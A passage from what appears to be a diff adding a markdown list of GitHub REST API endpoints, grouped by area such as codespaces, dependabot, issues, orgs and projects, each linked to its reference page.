/enterprises/{enterprise}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-an-enterprise) +- [`GET /orgs/{org}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-by-organization) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#get-a-code-scanning-alert) +- [`PATCH /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#update-a-code-scanning-alert) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}/instances`](/rest/reference/code-scanning#list-instances-of-a-code-scanning-alert) +- [`GET /repos/{owner}/{repo}/code-scanning/analyses`](/rest/reference/code-scanning#list-code-scanning-analyses-for-a-repository) +- [`GET /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository) +- [`GET /repos/{owner}/{repo}/code-scanning/sarifs/{sarif_id}`](/rest/reference/code-scanning#list-recent-code-scanning-analyses-for-a-repository) +- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases`](/rest/reference/code-scanning#list-codeql-databases) +- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases/{language}`](/rest/reference/code-scanning#get-codeql-database) +- [`POST /repos/{owner}/{repo}/code-scanning/sarifs`](/rest/reference/code-scanning#upload-a-sarif-file) + +## codes-of-conduct + +- [`GET /codes_of_conduct`](/rest/reference/codes-of-conduct#get-all-codes-of-conduct) +- [`GET /codes_of_conduct/{key}`](/rest/reference/codes-of-conduct#get-a-code-of-conduct) + +## codespaces + +- [`GET /orgs/{org}/codespaces`](/rest/reference/codespaces#list-in-organization) +- [`PUT /orgs/{org}/codespaces/billing`](/rest/reference/codespaces#set-codespaces-billing) +- [`GET /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#list-codespaces-in-a-repository-for-the-authenticated-user) +- [`POST /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#create-a-codespace-in-a-repository) +- [`GET /repos/{owner}/{repo}/codespaces/devcontainers`](/rest/reference/codespaces#list-devcontainers-in-a-repository-for-the-authenticated-user) +- [`GET /repos/{owner}/{repo}/codespaces/machines`](/rest/reference/codespaces#list-available-machine-types-for-a-repository) +- [`GET /repos/{owner}/{repo}/codespaces/new`](/rest/reference/codespaces#preview-attributes-for-a-new-codespace) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/codespaces`](/rest/reference/codespaces#create-a-codespace-from-a-pull-request) +- [`GET /user/codespaces`](/rest/reference/codespaces#list-codespaces-for-the-authenticated-user) +- [`POST /user/codespaces`](/rest/reference/codespaces#create-a-codespace-for-the-authenticated-user) +- [`GET /user/codespaces/{codespace_name}`](/rest/reference/codespaces#get-a-codespace-for-the-authenticated-user) +- [`PATCH /user/codespaces/{codespace_name}`](/rest/reference/codespaces#update-a-codespace-for-the-authenticated-user) +- [`DELETE /user/codespaces/{codespace_name}`](/rest/reference/codespaces#delete-a-codespace-for-the-authenticated-user) +- [`POST /user/codespaces/{codespace_name}/exports`](/rest/codespaces/codespaces#export-a-codespace-for-the-authenticated-user) +- [`GET /user/codespaces/{codespace_name}/exports/{export_id}`](/rest/codespaces/codespaces#get-details-about-a-codespace-export) +- [`GET /user/codespaces/{codespace_name}/machines`](/rest/reference/codespaces#list-machine-types-for-a-codespace) +- [`POST /user/codespaces/{codespace_name}/start`](/rest/reference/codespaces#start-a-codespace-for-the-authenticated-user) +- [`POST /user/codespaces/{codespace_name}/stop`](/rest/reference/codespaces#stop-a-codespace-for-the-authenticated-user) +- [`GET /orgs/{org}/codespaces/secrets`](/rest/reference/codespaces#list-organization-secrets) +- [`GET /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-an-organization-secret) +- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-an-organization-secret) +- [`DELETE /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-an-organization-secret) +- [`GET /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-an-organization-secret) +- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-an-organization-secret) +- [`GET /orgs/{org}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-an-organization-public-key) +- [`GET /repos/{owner}/{repo}/codespaces/secrets`](/rest/reference/codespaces#list-repository-secrets) +- [`GET /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-repository-secret) +- [`PUT /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-repository-secret) +- [`DELETE /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-repository-secret) +- [`GET /repos/{owner}/{repo}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-a-repository-public-key) +- [`GET /user/codespaces/secrets`](/rest/reference/codespaces#list-secrets-for-the-authenticated-user) +- [`GET /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-secret-for-the-authenticated-user) +- [`PUT /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-secret-for-the-authenticated-user) +- [`DELETE /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-secret-for-the-authenticated-user) +- [`GET /user/codespaces/secrets/public-key`](/rest/reference/codespaces#get-public-key-for-the-authenticated-user) +- [`GET /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-a-user-secret) +- [`PUT /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-a-user-secret) +- [`PUT /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#add-a-selected-repository-to-a-user-secret) +- [`DELETE /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#remove-a-selected-repository-from-a-user-secret) + +## collaborators + +- [`GET /repos/{owner}/{repo}/collaborators`](/rest/collaborators/collaborators#list-repository-collaborators) +- [`GET /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#check-if-a-user-is-a-repository-collaborator) +- [`PUT /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#add-a-repository-collaborator) +- [`DELETE /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#remove-a-repository-collaborator) +- [`GET /repos/{owner}/{repo}/collaborators/{username}/permission`](/rest/collaborators/collaborators#get-repository-permissions-for-a-user) +- [`GET /repos/{owner}/{repo}/invitations`](/rest/collaborators/invitations#list-repository-invitations) +- [`PATCH /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#update-a-repository-invitation) +- [`DELETE /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#delete-a-repository-invitation) +- [`GET /user/repository_invitations`](/rest/collaborators/invitations#list-repository-invitations-for-the-authenticated-user) +- [`PATCH /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#accept-a-repository-invitation) +- [`DELETE /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#decline-a-repository-invitation) + +## commits + +- [`GET /repos/{owner}/{repo}/comments`](/rest/commits/comments#list-commit-comments-for-a-repository) +- [`GET /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#get-a-commit-comment) +- [`PATCH /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#update-a-commit-comment) +- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#delete-a-commit-comment) +- [`GET /repos/{owner}/{repo}/commits`](/rest/commits/commits#list-commits) +- [`POST /repos/{owner}/{repo}/statuses/{sha}`](/rest/commits/statuses#create-a-commit-status) + +## dependabot + +- [`GET /repos/{owner}/{repo}/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) +- [`GET /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-a-repository-secret) +- [`PUT /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-a-repository-secret) +- [`DELETE /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-a-repository-secret) +- [`GET /repos/{owner}/{repo}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) +- [`GET /orgs/{org}/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) +- [`GET /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-an-organization-secret) +- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-an-organization-secret) +- [`DELETE /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-an-organization-secret) +- [`GET /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) +- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) +- [`GET /orgs/{org}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) +- [`GET /repos/{owner}/{repo}/dependabot/alerts`](/rest/reference/dependabot#list-dependabot-alerts-for-a-repository) +- [`GET /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#get-a-dependabot-alert) +- [`PATCH /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#update-a-dependabot-alert) + +## dependency-graph + +- [`POST /repos/{owner}/{repo}/dependency-graph/snapshots`](/rest/reference/dependency-graph#create-a-snapshot-of-dependencies-for-a-repository) +- [`GET /repos/{owner}/{repo}/dependency-graph/compare/{basehead}`](/rest/reference/dependency-graph#get-a-diff-of-the-dependencies-between-commits) + +## deployments + +- [`GET /repos/{owner}/{repo}/environments`](/rest/deployments/environments#list-environments) + +## emojis + +- [`GET /emojis`](/rest/reference/emojis#get-emojis) + +## enterprise-admin +{% ifversion ghec %} +- [`GET /enterprises/{enterprise}/audit-log`](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise){% endif %} +- [`GET /enterprises/{enterprise}/settings/billing/advanced-security`](/rest/reference/billing#export-advanced-security-active-committers-data-for-enterprise) +- [`GET /enterprise-installation/{enterprise_or_org}/server-statistics`](/rest/reference/enterprise-admin#get-github-enterprise-server-statistics) + +## gists + +- [`GET /gists/{gist_id}/comments`](/rest/reference/gists#list-gist-comments) +- [`POST /gists/{gist_id}/comments`](/rest/reference/gists#create-a-gist-comment) +- [`GET /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#get-a-gist-comment) +- [`PATCH /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#update-a-gist-comment) +- [`DELETE /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#delete-a-gist-comment) +- [`GET /gists`](/rest/reference/gists#list-gists-for-the-authenticated-user) +- [`POST /gists`](/rest/reference/gists#create-a-gist) +- [`GET /gists/{gist_id}`](/rest/reference/gists#get-a-gist) +- [`PATCH /gists/{gist_id}`](/rest/reference/gists/#update-a-gist) +- [`DELETE /gists/{gist_id}`](/rest/reference/gists#delete-a-gist) +- [`GET /gists/{gist_id}/commits`](/rest/reference/gists#list-gist-commits) +- [`GET /gists/{gist_id}/forks`](/rest/reference/gists#list-gist-forks) +- [`POST /gists/{gist_id}/forks`](/rest/reference/gists#fork-a-gist) +- [`GET /gists/{gist_id}/star`](/rest/reference/gists#check-if-a-gist-is-starred) +- [`PUT /gists/{gist_id}/star`](/rest/reference/gists#star-a-gist) +- [`DELETE /gists/{gist_id}/star`](/rest/reference/gists#unstar-a-gist) +- [`GET /gists/public`](/rest/reference/gists#list-public-gists) +- [`GET /gists/starred`](/rest/reference/gists#list-starred-gists) +- [`GET /users/{username}/gists`](/rest/reference/gists#list-gists-for-a-user) + +## git + +- [`POST /repos/{owner}/{repo}/git/blobs`](/rest/reference/git#create-a-blob) +- [`POST /repos/{owner}/{repo}/git/commits`](/rest/reference/git#create-a-commit) +- [`POST /repos/{owner}/{repo}/git/refs`](/rest/reference/git#create-a-reference) +- [`POST /repos/{owner}/{repo}/git/tags`](/rest/reference/git#create-a-tag-object) +- [`POST /repos/{owner}/{repo}/git/trees`](/rest/reference/git#create-a-tree) + +## gitignore + +- [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates) + +## interactions + +- [`GET /orgs/{org}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-an-organization) +- [`PUT /orgs/{org}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) +- [`DELETE /orgs/{org}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) +- [`GET /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-a-repository) +- [`PUT /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) +- [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) +- [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) +- [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) + +## issues + +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#add-assignees-to-an-issue) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#list-issue-comments) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#create-an-issue-comment) +- [`GET /repos/{owner}/{repo}/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository) +- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#get-an-issue-comment) +- [`PATCH /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#update-an-issue-comment) +- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#delete-an-issue-comment) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/events`](/rest/reference/issues#list-issue-events) +- [`GET /repos/{owner}/{repo}/issues/events`](/rest/reference/issues#list-issue-events-for-a-repository) +- [`GET /repos/{owner}/{repo}/issues/events/{event_id}`](/rest/reference/issues#get-an-issue-event) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue) +- [`GET /issues`](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user) +- [`GET /orgs/{org}/issues`](/rest/reference/issues#list-organization-issues-assigned-to-the-authenticated-user) +- [`GET /repos/{owner}/{repo}/assignees`](/rest/reference/issues#list-assignees) +- [`GET /repos/{owner}/{repo}/issues`](/rest/reference/issues#list-repository-issues) +- [`POST /repos/{owner}/{repo}/issues`](/rest/reference/issues#create-an-issue) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues#get-an-issue) +- [`PATCH /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues/#update-an-issue) +- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#lock-an-issue) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#unlock-an-issue) +- [`GET /user/issues`](/rest/reference/issues#list-user-account-issues-assigned-to-the-authenticated-user) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#list-labels-for-an-issue) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#add-labels-to-an-issue) +- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#set-labels-for-an-issue) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#remove-all-labels-from-an-issue) +- [`GET /repos/{owner}/{repo}/labels`](/rest/reference/issues#list-labels-for-a-repository) +- [`POST /repos/{owner}/{repo}/labels`](/rest/reference/issues#create-a-label) +- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) +- [`GET /repos/{owner}/{repo}/milestones`](/rest/reference/issues#list-milestones) +- [`POST /repos/{owner}/{repo}/milestones`](/rest/reference/issues#create-a-milestone) +- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#get-a-milestone) +- [`PATCH /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#update-a-milestone) +- [`DELETE /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#delete-a-milestone) + +## licenses + +- [`GET /licenses`](/rest/reference/licenses#get-all-commonly-used-licenses) +- [`GET /repos/{owner}/{repo}/license`](/rest/reference/licenses/#get-the-license-for-a-repository) + +## markdown + +- [`POST /markdown`](/rest/reference/markdown#render-a-markdown-document) +- [`POST /markdown/raw`](/rest/reference/markdown#render-a-markdown-document-in-raw-mode) + +## meta + +- [`GET /meta`](/rest/reference/meta#get-github-meta-information) +- [`GET /octocat`](/rest/reference/meta#get-octocat) +- [`GET /zen`](/rest/meta#get-the-zen-of-github) +- [`GET /`](/rest/overview/resources-in-the-rest-api#root-endpoint) + +## metrics + +- [`GET /repos/{owner}/{repo}/community/profile`](/rest/metrics/community#get-community-profile-metrics) +- [`GET /repos/{owner}/{repo}/stats/code_frequency`](/rest/metrics/statistics#get-the-weekly-commit-activity) +- [`GET /repos/{owner}/{repo}/stats/commit_activity`](/rest/metrics/statistics#get-the-last-year-of-commit-activity) +- [`GET /repos/{owner}/{repo}/stats/contributors`](/rest/metrics/statistics#get-all-contributor-commit-activity) +- [`GET /repos/{owner}/{repo}/stats/participation`](/rest/metrics/statistics#get-the-weekly-commit-count) +- [`GET /repos/{owner}/{repo}/stats/punch_card`](/rest/metrics/statistics#get-the-hourly-commit-count-for-each-day) +- [`GET /repos/{owner}/{repo}/traffic/clones`](/rest/metrics/traffic#get-repository-clones) +- [`GET /repos/{owner}/{repo}/traffic/popular/paths`](/rest/metrics/traffic#get-top-referral-paths) +- [`GET /repos/{owner}/{repo}/traffic/popular/referrers`](/rest/metrics/traffic#get-top-referral-sources) +- [`GET /repos/{owner}/{repo}/traffic/views`](/rest/metrics/traffic#get-page-views) + +## migrations + +- [`GET /orgs/{org}/migrations`](/rest/reference/migrations#list-organization-migrations) +- [`POST /orgs/{org}/migrations`](/rest/reference/migrations#start-an-organization-migration) +- [`GET /orgs/{org}/migrations/{migration_id}`](/rest/reference/migrations#get-an-organization-migration-status) +- [`GET /orgs/{org}/migrations/{migration_id}/archive`](/rest/reference/migrations#download-an-organization-migration-archive) +- [`DELETE /orgs/{org}/migrations/{migration_id}/archive`](/rest/reference/migrations#delete-an-organization-migration-archive) +- [`GET /orgs/{org}/migrations/{migration_id}/repositories`](/rest/reference/migrations#list-repositories-in-an-organization-migration) +- [`GET /user/migrations`](/rest/reference/migrations#list-user-migrations) +- [`POST /user/migrations`](/rest/reference/migrations#start-a-user-migration) +- [`GET /user/migrations/{migration_id}`](/rest/reference/migrations#get-a-user-migration-status) +- [`GET /user/migrations/{migration_id}/archive`](/rest/reference/migrations#download-a-user-migration-archive) +- [`DELETE /user/migrations/{migration_id}/archive`](/rest/reference/migrations#delete-a-user-migration-archive) +- [`GET /user/migrations/{migration_id}/repositories`](/rest/reference/migrations#list-repositories-for-a-user-migration) +- [`GET /repos/{owner}/{repo}/import`](/rest/reference/migrations#get-an-import-status) +- [`PUT /repos/{owner}/{repo}/import`](/rest/reference/migrations#start-an-import) +- [`PATCH /repos/{owner}/{repo}/import`](/rest/reference/migrations#update-an-import) +- [`DELETE /repos/{owner}/{repo}/import`](/rest/reference/migrations#cancel-an-import) +- [`GET /repos/{owner}/{repo}/import/authors`](/rest/reference/migrations#get-commit-authors) +- [`PATCH /repos/{owner}/{repo}/import/authors/{author_id}`](/rest/reference/migrations#map-a-commit-author) +- [`GET /repos/{owner}/{repo}/import/large_files`](/rest/reference/migrations#get-large-files) +- [`PATCH /repos/{owner}/{repo}/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) + +## orgs + +{% ifversion ghec %} +- [`GET /orgs/{org}/audit-log`](/rest/reference/orgs#get-audit-log){% endif %} +- [`GET /organizations/{organization_id}/custom_roles`](/rest/reference/orgs#list-custom-repository-roles-in-an-organization) +- [`PATCH /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#update-a-custom-role) +- [`DELETE /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#delete-a-custom-role) +- [`GET /orgs/{org}/fine_grained_permissions`](/rest/reference/orgs#list-fine-grained-permissions-for-an-organization) +- [`GET /orgs/{org}/hooks`](/rest/reference/orgs#list-organization-webhooks) +- [`POST /orgs/{org}/hooks`](/rest/reference/orgs#create-an-organization-webhook) +- [`GET /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#get-an-organization-webhook) +- [`PATCH /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#update-an-organization-webhook) +- [`DELETE /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#delete-an-organization-webhook) +- [`GET /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#get-a-webhook-configuration-for-an-organization) +- [`PATCH /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#update-a-webhook-configuration-for-an-organization) +- [`GET /orgs/{org}/hooks/{hook_id}/deliveries`](/rest/reference/orgs#list-deliveries-for-an-organization-webhook) +- [`GET /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/reference/orgs#get-a-webhook-delivery-for-an-organization-webhook) +- [`POST /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/reference/orgs#redeliver-a-delivery-for-an-organization-webhook) +- [`POST /orgs/{org}/hooks/{hook_id}/pings`](/rest/reference/orgs#ping-an-organization-webhook) +- [`GET /orgs/{org}/failed_invitations`](/rest/reference/orgs#list-failed-organization-invitations) +- [`GET /orgs/{org}/invitations`](/rest/reference/orgs#list-pending-organization-invitations) +- [`POST /orgs/{org}/invitations`](/rest/reference/orgs#create-an-organization-invitation) +- [`DELETE /orgs/{org}/invitations/{invitation_id}`](/rest/reference/orgs#cancel-an-organization-invitation) +- [`GET /orgs/{org}/invitations/{invitation_id}/teams`](/rest/reference/orgs#list-organization-invitation-teams) +- [`GET /orgs/{org}/members`](/rest/reference/orgs#list-organization-members) +- [`GET /orgs/{org}/members/{username}`](/rest/reference/orgs#check-organization-membership-for-a-user) +- [`DELETE /orgs/{org}/members/{username}`](/rest/reference/orgs#remove-an-organization-member) +- [`GET /orgs/{org}/memberships/{username}`](/rest/reference/orgs#get-organization-membership-for-a-user) +- [`PUT /orgs/{org}/memberships/{username}`](/rest/reference/orgs#set-organization-membership-for-a-user) +- [`DELETE /orgs/{org}/memberships/{username}`](/rest/reference/orgs#remove-organization-membership-for-a-user) +- [`GET /orgs/{org}/public_members`](/rest/reference/orgs#list-public-organization-members) +- [`GET /orgs/{org}/public_members/{username}`](/rest/reference/orgs#check-public-organization-membership-for-a-user) +- [`PUT /orgs/{org}/public_members/{username}`](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user) +- [`DELETE /orgs/{org}/public_members/{username}`](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user) +- [`GET /orgs/{org}/outside_collaborators`](/rest/reference/orgs#list-outside-collaborators-for-an-organization) +- [`PUT /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator) +- [`DELETE /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#remove-outside-collaborator-from-an-organization) +- [`GET /orgs/{org}/security-managers`](/rest/reference/orgs#list-security-manager-teams) +- [`PUT /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#add-a-security-manager-team) +- [`DELETE /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#remove-a-security-manager-team) +- [`GET /organizations`](/rest/reference/orgs#list-organizations) +- [`GET /orgs/{org}`](/rest/reference/orgs#get-an-organization) +- [`PATCH /orgs/{org}`](/rest/reference/orgs/#update-an-organization) +- [`GET /orgs/{org}/installations`](/rest/reference/orgs#list-app-installations-for-an-organization) +- [`GET /users/{username}/orgs`](/rest/reference/orgs#list-organizations-for-a-user) +- [`GET /user/memberships/orgs/{org}`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) +- [`PATCH /user/memberships/orgs/{org}`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) +- [`GET /user/memberships/orgs`](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user) +- [`GET /user/orgs`](/rest/reference/orgs#list-organizations-for-the-authenticated-user) +- [`GET /orgs/{org}/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) +- [`GET /orgs/{org}/blocks/{username}`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) +- [`PUT /orgs/{org}/blocks/{username}`](/rest/reference/orgs#block-a-user-from-an-organization) +- [`DELETE /orgs/{org}/blocks/{username}`](/rest/reference/orgs#unblock-a-user-from-an-organization) + +## packages + +- [`GET /orgs/{org}/packages`](/rest/reference/packages#list-packages-for-an-organization) +- [`GET /users/{username}/packages`](/rest/reference/packages#list-packages-for-user) +- [`GET /user/packages`](/rest/reference/packages#list-packages-for-the-authenticated-user) + +## pages + +- [`GET /repos/{owner}/{repo}/pages`](/rest/pages#get-a-github-pages-site) +- [`POST /repos/{owner}/{repo}/pages`](/rest/pages#create-a-github-pages-site) +- [`PUT /repos/{owner}/{repo}/pages`](/rest/pages#update-information-about-a-github-pages-site) +- [`DELETE /repos/{owner}/{repo}/pages`](/rest/pages#delete-a-github-pages-site) +- [`GET /repos/{owner}/{repo}/pages/builds`](/rest/pages#list-github-pages-builds) +- [`POST /repos/{owner}/{repo}/pages/builds`](/rest/pages#request-a-github-pages-build) +- [`GET /repos/{owner}/{repo}/pages/builds/{build_id}`](/rest/pages#get-github-pages-build) +- [`GET /repos/{owner}/{repo}/pages/builds/latest`](/rest/pages#get-latest-pages-build) +- [`POST /repos/{owner}/{repo}/pages/deployment`](/rest/pages#create-a-github-pages-deployment) +- [`GET /repos/{owner}/{repo}/pages/health`](/rest/pages#get-a-dns-health-check-for-github-pages) + +## projects + +- [`GET /projects/{project_id}/collaborators`](/rest/reference/projects#list-project-collaborators) +- [`PUT /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#add-project-collaborator) +- [`DELETE /projects/{project_id}/collaborators/{username}`](/rest/reference/projects#remove-project-collaborator) +- [`GET /projects/{project_id}/collaborators/{username}/permission`](/rest/reference/projects#get-project-permission-for-a-user) +- [`GET /orgs/{org}/projects`](/rest/reference/projects#list-organization-projects) +- [`POST /orgs/{org}/projects`](/rest/reference/projects#create-an-organization-project) +- [`GET /projects/{project_id}`](/rest/reference/projects#get-a-project) +- [`PATCH /projects/{project_id}`](/rest/reference/projects#update-a-project) +- [`DELETE /projects/{project_id}`](/rest/reference/projects#delete-a-project) +- [`GET /projects/{project_id}/columns`](/rest/reference/projects#list-project-columns) +- [`POST /projects/{project_id}/columns`](/rest/reference/projects#create-a-project-column) +- [`GET /projects/columns/{column_id}`](/rest/reference/projects#get-a-project-column) +- [`PATCH /projects/columns/{column_id}`](/rest/reference/projects#update-a-project-column) +- [`DELETE /projects/columns/{column_id}`](/rest/reference/projects#delete-a-project-column) +- [`GET /projects/columns/{column_id}/cards`](/rest/reference/projects#list-project-cards) +- [`POST /projects/columns/{column_id}/cards`](/rest/reference/projects#create-a-project-card) +- [`POST /projects/columns/{column_id}/moves`](/rest/reference/projects#move-a-project-column) +- [`GET /projects/columns/cards/{card_id}`](/rest/reference/projects#get-a-project-card) +- [`PATCH /projects/columns/cards/{card_id}`](/rest/reference/projects#update-a-project-card) +- [`DELETE /projects/columns/cards/{card_id}`](/rest/reference/projects#delete-a-project-card) +- [`POST /projects/columns/cards/{card_id}/moves`](/rest/reference/projects#move-a-project-card) +- [`GET /repos/{owner}/{repo}/projects`](/rest/reference/projects#list-repository-projects) +- [`POST /repos/{owner}/{repo}/projects`](/rest/reference/projects#create-a-repository-project) +- [`GET /users/{username}/projects`](/rest/reference/projects#list-user-projects) +- [`POST /user/projects`](/rest/reference/projects#create-a-user-project) + +## pulls + +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#list-review-comments-on-a-pull-request) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/comments`](/rest/reference/pulls#create-a-review-comment-for-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/comments`](/rest/reference/pulls#list-review-comments-in-a-repository) +- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#get-a-review-comment-for-a-pull-request) +- [`PATCH /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) +- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) +- [`PUT 